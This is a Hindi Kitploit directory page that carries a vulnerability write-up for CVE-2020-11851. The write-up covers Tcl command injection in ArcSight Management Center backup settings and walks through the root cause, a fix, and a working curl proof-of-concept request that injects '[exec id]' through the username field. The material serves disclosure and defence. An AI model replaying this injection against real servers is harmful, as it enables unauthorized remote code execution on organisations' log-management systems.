Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-11851 — ArcSight Logger पर रिमोट कोड एक्ज़ीक्यूशन भेद्यता | Kitploit
उपकरण/GitHubGitHub/ch1nghz/cve-2020-11851
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरिमोट एक्सेस टूल
GitHubch1nghz/cve-2020-11851

CVE-2020-11851

ArcSight Logger पर रिमोट कोड एक्ज़ीक्यूशन भेद्यता

रिपॉजिटरी देखें
20155 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-11851

ArcSight Logger (ArcSight Management Center के माध्यम से) पर रिमोट कोड निष्पादन भेद्यता

https://nvd.nist.gov/vuln/detail/CVE-2020-11851

कार्यकारी सारांश

Vulnerability Background

ArcSight Logger एक व्यापक लॉग प्रबंधन समाधान है जो सुरक्षा पेशेवरों के लिए अनुपालन बोझ को कम करता है और तेज़ फोरेंसिक जांच को सक्षम करता है, उनके संगठनों से मशीन डेटा लॉग को एकीकृत और संग्रहीत करके, और उस डेटा पर तेज़ी से खोज और रिपोर्टिंग की सुविधा प्रदान करके।

ArcSight Management Center (ArcMC) एक केंद्रीकृत सुरक्षा प्रबंधन केंद्र है जो एकल इंटरफ़ेस के माध्यम से ArcSight Logger, ArcSight SmartConnectors (कनेक्टर्स), ArcSight FlexConnectors और ArcSight Connector Appliance (ConApp) जैसे ArcSight समाधानों के बड़े परिनियोजन का प्रबंधन करता है।

इस भेद्यता का शोषण ArcSight Management Center (संस्करण: 2.7.1.2065.0) की बैकअप कार्यक्षमता के माध्यम से किया जा सकता है। यह बैकअप विकल्प ArcSight Logger की "expect" स्क्रिप्ट का उपयोग करके काम करता है जो Tool Command Language (Tcl) का उपयोग करती हैं। यह भेद्यता हमलावरों को मनमानी Tcl कमांड निष्पादित करने की अनुमति देती है। Micro Focus ArcSight Logger उत्पाद पर यह भेद्यता संस्करण 7.1.1 से पहले के सभी संस्करणों को प्रभावित करती है।

Conclusion

भेद्यता से ग्रस्त सॉफ़्टवेयर चलाने वाले सर्वर से हमलावर RCE भेद्यता के माध्यम से समझौता कर सकते हैं और यह एक बीचहेड बन सकता है जहाँ से कोई प्रतिद्वंद्वी संगठन के सर्वरों पर आगे के हमले शुरू कर सकता है, जिसके परिणामस्वरूप एक गंभीर उल्लंघन हो सकता है। यह भेद्यता डेटा हानि, भ्रष्टाचार, या अनधिकृत पक्षों को प्रकटीकरण, जवाबदेही की हानि या पहुँच से इनकार का कारण बन सकती है।

Recommendations

"expect" स्क्रिप्ट के लिए Tcl सुरक्षा सर्वोत्तम प्रथाओं की जाँच करने की अनुशंसा की जाती है। मूल रूप से, eval में ब्रेसेस का उपयोग करना सुरक्षित होगा जैसे नीचे:

root@kitploit:~
eval puts $exploit   ;# असुरक्षित  

eval "puts $exploit" ;# असुरक्षित

eval {puts $exploit} ;# सुरक्षित

अधिक जानकारी यहाँ मिल सकती है: https://wiki.tcl-lang.org/page/Injection+Attack

तकनीकी पृष्ठभूमि

यह खंड कमांड इंजेक्शन के वैक्टर का वर्णन करता है जिनका उपयोग ArcSight Logger में भेद्यता का पता लगाने के लिए किया जा सकता है। नीचे दिए गए शीर्षकों का उपयोग हमले के चरणों को पुन: उत्पन्न करने के लिए किया जा सकता है।

Exploring the vulnerable backup option

प्रशासन टैब में, एक बैकअप विकल्प है।

1

जैसा कि हम देख सकते हैं, हम SCP प्रोटोकॉल का उपयोग करके एक दूरस्थ बैकअप सर्वर कॉन्फ़िगर कर सकते हैं। "Save" बटन पर क्लिक करने के बाद, मैंने टूल "pspy" का उपयोग करके सर्वर प्रक्रियाओं को डीबग किया, जिसे यहाँ से डाउनलोड किया जा सकता है: https://github.com/DominicBreuker/pspy/releases

Debugging the server & Root cause analysis

बैकअप कॉन्फ़िगरेशन को सहेजने के बाद, मैंने पता लगाया कि एप्लिकेशन SSH सर्वर की जाँच के लिए bash स्क्रिप्ट का उपयोग करता है जैसा कि नीचे दिखाया गया है (कृपया PID 95427 देखें):

2

यहाँ स्पष्टीकरण के लिए अधिक विस्तृत कमांड (PID 95427) है:

sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory

आइए "runexpect.sh" और "scp.expect.dir.backup1" (expect स्क्रिप्ट) की सामग्री को देखें, इससे पहले कि "runexpect.sh" के तर्क की व्याख्या की जाए।

यहाँ "runexpect.sh" की सामग्री है:

root@kitploit:~
#!/bin/sh  
	  
# Set LD_LIBRARY_PATH  
	  
export LD_LIBRARY_PATH=$1  
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH  
shift  
echo "Running command: $*"  
$*  
	  
exit $? 

और यहाँ "scp.expect.dir.backup1" नामक expect स्क्रिप्ट की सामग्री है:

root@kitploit:~
set password [lindex $argv 0]  
set host [lindex $argv 1]  
set port [lindex $argv 2]  
set dir [lindex $argv 3]  
eval spawn ssh -p $port $host test -d $dir && echo exists  //भेद्यता यहाँ से शुरू होती है
expect "*(yes/no)?*$" { send "yes\n" }  
set timeout 600  
expect "*assword:*$" { send "$password\n" } \  
timeout { exit 1 }  
set timeout -1  
expect "\\$ $" 

जैसा कि हम देख सकते हैं, "runexpect.sh" पर्यावरण चर (LD_LIBRARY_PATH) सेट करता है और फिर "scp.expect.dir.backup1" नामक "expect" स्क्रिप्ट का उपयोग करके "expect" बाइनरी निष्पादित करता है। यह "expect" स्क्रिप्ट "ssh" कमांड में उपयोग करने के लिए 4 तर्क प्राप्त करती है।

वास्तविक भेद्यता "scp.expect.dir.backup1" नामक स्क्रिप्ट की पंक्ति 5 पर शुरू होती है। जैसा कि हमने पहले उल्लेख किया है, ब्रेसेस के बिना, उपयोगकर्ता द्वारा प्रदान किए गए इनपुट Tcl स्क्रिप्ट में बहुत खतरनाक हो सकते हैं।

Gaining the code execution

चूँकि यह कोड निष्पादन भेद्यता पूरी तरह से ब्लाइंड है, मैंने निष्पादन प्रदर्शित करने का सबसे सरल तरीका इस्तेमाल किया। मैंने प्रक्रियाओं को डीबग करने और दुर्भावनापूर्ण HTTP अनुरोध भेजकर मनमाना कोड निष्पादन प्रदर्शित करने के लिए टूल "pspy" का उपयोग किया।

यहाँ वह तर्क है जिसे मैं चाहता था कि "expect" स्क्रिप्ट निष्पादित करे:

root@kitploit:~
eval spawn ssh –p [exec id]  test –d fakehostname && echo exists
[exec : यह argv1 है
id] : यह argv2 है
fakehostname : यह argv3 है
अपेक्षित व्यवहार इस प्रकार होगा:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# क्योंकि, Tcl में [ ] bash में `` की तरह दिखता है। Tcl सिंटैक्स के बारे में अधिक जानकारी के लिए, कृपया https://wiki.tcl-lang.org/welcome पर जाएँ

आइए समझाएँ कि इसे कैसे प्राप्त किया जाए। यदि मैं संबंधित HTTP अनुरोध के "field-username" पैरामीटर में "strings" के बीच स्थान डालता हूँ, तो यह अनजाने में "expect" स्क्रिप्ट में पार्स हो जाएगा क्योंकि यह तर्क गणना को मान्य नहीं करता है, अर्थात, मैं पोर्ट नंबर के रूप में [exec और उपयोगकर्ता नाम के रूप में id] इंजेक्ट कर सकता हूँ। सामान्यतः, मैं संबंधित HTTP अनुरोध के पोर्ट नंबर पैरामीटर को इंजेक्ट नहीं कर सकता क्योंकि इनपुट सत्यापन (यह केवल अंक होना चाहिए)।

नीचे HTTP अनुरोध भेजने के बाद, मैंने कमांड को सफलतापूर्वक निष्पादित किया और इसका आउटपुट टूल "pspy" से प्रिंट किया।

3

4

यहाँ संबंधित CURL अनुरोध है जिसका उपयोग मैंने भेद्यता का शोषण करने के लिए किया (कृपया सत्र से संबंधित टोकन और लक्ष्य को संशोधित करें):

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    -b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    --data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
    $'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'
टूल डाउनलोड करें